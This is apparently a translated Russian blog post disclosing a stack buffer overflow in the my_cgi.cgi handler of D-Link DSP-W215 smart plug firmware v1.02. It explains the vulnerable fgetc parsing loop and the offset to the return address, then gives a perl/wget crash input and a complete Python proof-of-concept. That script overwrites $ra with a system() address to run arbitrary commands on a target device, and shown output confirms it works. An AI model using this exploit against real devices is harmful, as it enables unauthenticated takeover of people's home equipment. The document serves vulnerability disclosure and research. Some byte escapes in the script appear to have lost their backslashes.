Недавно, D-Link выпустил прошивку v1.02 для DSP-W215, в которой исправлен баг HNAP с переполнением буфера в my_cgi.cgi. Хоть они и быстренько убрали прошивку с сайта: «Вы можете обновить прошивку через мобильное приложение», я успел ее скачать перед моим рейсом в Мюнхен, и 8-часовой перелет предоставил мне достаточно времени для качественного анализа новой версии прошивки.
К сожалению, баг с HNAP был не единственной проблемой этого устройства. Конфигурационный файл lighttpd показывает нам, что my_cgi.cgi используется для обработки некоторых страниц, а не только HNAP-запросов:
alias.url += ( "/HNAP1/" => "/www/my_cgi.cgi",
"/HNAP1" => "/www/my_cgi.cgi",
"/router_info.xml" => "/www/my_cgi.cgi",
"/post_login.xml" => "/www/my_cgi.cgi",
"/get_shareport_info" => "/www/my_cgi.cgi",
"/secmark1524.cgi" => "/www/my_cgi.cgi",
"/common/info.cgi" => "/www/my_cgi.cgi"
)
Главная функция в my_cgi.cgi имеет для ветвления кода: один для обработки HNAP-запросов, а другой — для всего остального:
Если HTTP-запрос был не HNAP (например, /common/info.cgi) и если это был POST-запрос, то в этом случае, my_cgi.cgi получает некоторые HTTP-заголовки, в том числе и Content-Length:
Если Content-Length больше нуля, то вызывается функция get_input_entries, которая ответственна за чтение и парсинг POST-параметров:
Функция get_input_entries принимает два аргумента: указатель на структуру «entries» и размер POST-данных (т.е. Content-Length):
struct entries
{
char name[36]; // POST paramter name
char value[1025]; // POST parameter value
};
// Returns the number of POST parameters that were processed
int get_input_entries(struct *entries post_entries, int content_length);
Это несколько подозрительно, т.к. параметр передается в get_input_entries прямо из заголовка Content-Length, который был указан в HTTP-запросе, а указатель структуры указывает на локальную переменную в стеке в главной функции:
int content_length, num_entries;
struct entries my_entries[450]; // total size: 477450 bytes
content_length = strtol(getenv("CONTENT_LENGTH"), 10);
memset(my_entries, 0, sizeof(my_entries));
num_entries = get_input_entries(&my_entries, content_length);
Конечно же, get_input_entries содержит цикл с fgetc (практически такой же, который вызывал HNAP-уязвимость), который парсит POST-запрос (имена и значения) и сохраняет их в структуре «entries»:
Цикл fgetc
fgetc(stdin) внутри цикла for
Значение, прочитанное fgetc, сохраняется в name/value в структуре «entries»
Т.к. структура «entries», в нашем случае, является стековой переменной в main, чрезмерно длинное POST-значение вызовет переполнение стека в get_input_entries, а соответственно, и в main.
Для того, чтобы избежать падение перед возвращением в main (более подробно об этом будет в следующем посте), нам нужно выйти из функции get_input_entries как можно скорее. Проще всего это сделать, передав единственный POST-параметр «storage_path», т.к. код в get_input_entries пропускается, если этот параметр встречается:
Если мы посмотрим в стек main, мы увидим, что начало структуры «entries» находится на 0×74944 байт дальше от адреса возврата в стеке:
Из-за того, что на имена из POST-запроса отводится 36 байт в структуре, POST-значение размером 477472 (0×74944-36) байт переполнит на стеке все до сохраненного адреса возврата:
# Overwrite the saved return address with 0x41414141
perl -e 'print "storage_path="; print "B"x477472; print "A"x4' > overflow.txt
wget --post-file=overflow.txt http://192.168.0.60/common/info.cgi
$ra перезаписан значением 0×41414141
Теперь мы контролируем $ra, а значит можем вернуться в тот же вызов system(), который мы использовали в переполнении HNAP для того, чтобы выполнять произвольные команды:
вызов system() по адресу 0x00405CEC
Вот вам PoC:
#!/usr/bin/env python
import sys
import urllib2
try:
target = sys.argv[1]
command = sys.argv[2]
except:
print "Usage: %s <target> <command>" % sys.argv[0]
sys.exit(1)
url = "http://%s/common/info.cgi" % target
buf = "storage_path=" # POST parameter name
buf += "D" * (0x74944-36) # Stack filler
buf += "x00x40x5CxEC" # Overwrite $ra
buf += "E" * 0x28 # Command to execute must be at $sp+0x28
buf += command # Command to execute
buf += "x00" # NULL terminate the command
req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()
Который отлично работает с последней версией прошивки:
./exploit.py 192.168.0.60 'ls -l /'
drwxr-xr-x 2 1000 1000 4096 May 16 09:01 bin
drwxrwxr-x 3 1000 1000 4096 May 17 15:42 dev
drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc
drwxrwxr-x 3 1000 1000 4096 May 16 09:01 lib
drwxr-xr-x 3 1000 1000 4096 May 16 09:01 libexec
lrwxrwxrwx 1 1000 1000 11 May 17 15:20 linuxrc -> bin/busybox
drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found
drwxrwxr-x 6 1000 1000 4096 May 17 15:15 mnt
drwxr-xr-x 2 1000 1000 4096 May 16 09:01 mydlink
drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc
drwxrwxr-x 2 1000 1000 4096 May 17 17:23 root
drwxr-xr-x 2 1000 1000 4096 May 16 09:01 sbin
drwxrwxr-x 3 1000 1000 4096 May 20 17:10 tmp
drwxrwxr-x 7 1000 1000 4096 May 16 09:01 usr
drwxrwxr-x 3 1000 1000 4096 May 17 15:21 var
-rw-r--r-- 1 1000 1000 17 May 16 09:01 version
drwxrwxr-x 8 1000 1000 4096 May 17 15:15 www
Автор: ValdikSS